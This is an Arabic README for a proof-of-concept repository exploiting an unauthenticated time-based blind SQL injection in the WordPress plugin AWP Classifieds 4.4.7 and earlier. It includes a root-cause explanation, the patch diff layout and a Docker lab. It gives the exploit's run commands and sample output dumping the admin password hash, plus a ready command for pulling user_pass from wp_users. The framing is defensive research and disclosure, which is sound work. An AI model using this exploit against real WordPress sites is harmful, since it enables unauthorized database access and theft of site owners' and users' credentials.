
إثبات مفهوم (PoC) لحقن SQL الأعمى المعتمد على الوقت وغير المصادق عليه في AWP Classifieds <= 4.4.7، مع مختبر Docker، وشرح كامل، وفرق التصحيح.
حقن SQL أعمى قائم على الوقت وغير مُصادَق عليه في إضافة ووردبريس
AWP Classifieds (another-wordpress-classifieds-plugin)، يمكن الوصول إليه عبر
تدفق إرسال الإعلانات المجهول (الزائر) عبر AJAX الخاص بالإضافة.
| CVE | CVE-2026-59550 |
| الإضافة | AWP Classifieds (another-wordpress-classifieds-plugin) |
| الإصدارات المصابة | <= 4.4.7 |
| الإصدار المُصحَّح | 4.4.8 |
| الفئة | حقن SQL (OWASP A3: Injection) |
| الصلاحية | غير مُصادَق عليه |
| CVSS v3.1 | 9.3 (مرتفع) |
| نقطة الحقن | AWPCP_BasicRegionsAPI::save() - includes/regions-api.php |
| أبلغ عنه | Thaer Assfour (عبر Patchstack) |
| التنبيه الأمني | https://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability |
تقوم الدالة AWPCP_BasicRegionsAPI::save() بتمرير مفاتيح مصفوفة
regions المُقدَّمة من المستخدم مباشرةً إلى $wpdb->insert() / $wpdb->update().
يقوم ووردبريس بتغليف أسماء الأعمدة بعلامات الاقتباس الخلفية (backticks) لكنه لا
يقوم بتهريبها، لذا فإن مفتاحًا يحتوي على علامة اقتباس خلفية يكسر حدود المُعرِّف
ويحقن SQL عشوائيًا. تُؤخذ مصفوفة regions حرفيًا من $_POST، ويمكن الوصول إلى
السلسلة بأكملها دون مصادقة كلما كان نشر الإعلانات من قِبل الزوار مُفعَّلًا
(requireuserregistration = 0، وهو الإعداد الافتراضي).
يضيف الإصلاح في 4.4.8 قائمة أعمدة مسموح بها صراحةً
(filter_region_columns()) وقائمة حقول مسموح بها للمناطق المُقدَّمة
(prepare_submitted_region()).
.
├── README.md # this file
├── docs/
│ └── WRITEUP.md # full technical writeup
├── exploit/
│ ├── exploit.py # unauthenticated blind SQLi PoC
│ └── requirements.txt
├── lab/
│ ├── docker-compose.yml # WordPress 6.8 + MariaDB 11, vuln + patched
│ ├── setup.sh # stage plugins, boot, provision both sites
│ └── teardown.sh # remove containers + volumes + staged files
└── patches/
├── 4.4.8-regions-api.diff # the security fix (single file)
└── 4.4.7-to-4.4.8-full.diff # complete release diff
المتطلبات: Docker + Docker Compose، وPython 3 مع requests وunzip.
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
/path/to/another-wordpress-classifieds-plugin.4.4.8.zip
# -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
# -> patched (4.4.8): http://localhost:8090/?page_id=8
# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080 # should be VULNERABLE
python3 exploit.py http://localhost:8090 # should be PATCHED
# 3. tear everything down
cd ../lab && ./teardown.sh
يقبل setup.sh أرشيفَي الإضافة كوسيطات أو عبر متغيرات البيئة
AWP447_ZIP / AWP448_ZIP؛ ويعود افتراضيًا إلى
~/Downloads/<slug>.4.4.7.zip و~/Downloads/<slug>.4.4.8.zip.
الأرشيفات غير مُضمَّنة في هذا المستودع - فنسخ نواة ووردبريس والإضافة الأصلية
توجد فقط داخل lab/html-*/ وهي مُتجاهَلة من قِبل git.
[*] target : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
[+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version : 11.8.9-MariaDB
[+] first WP user : admin
استخرج بيانات عشوائية باستعلام صريح:
python3 exploit.py http://localhost:8080 \
--query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
--maxlen 60
الـ PoC هو أوراكل قائم على الوقت، لذا لا يحتاج إلى انعكاس مخرجات SQL ويعمل على هدف أعمى بالكامل.
// includes/regions-api.php (4.4.7)
public function save( $region ) {
...
$result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}
راجع docs/WRITEUP.md للحصول على تحليل التلوث الكامل،
وتتبع الطلب، وإثبات SQL المُولَّد، ومناقشة الإصلاح.
requireuserregistration = 1 و/أو احجب إجراءات AJAX
awpcp_save_listing_information / awpcp_create_empty_listing.هذه المواد مُقدَّمة لأغراض البحث الأمني الدفاعي والتعليم والاختبار المُصرَّح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها. المختبر مُعبَّأ بالكامل في حاويات وقابل للتخلص منه.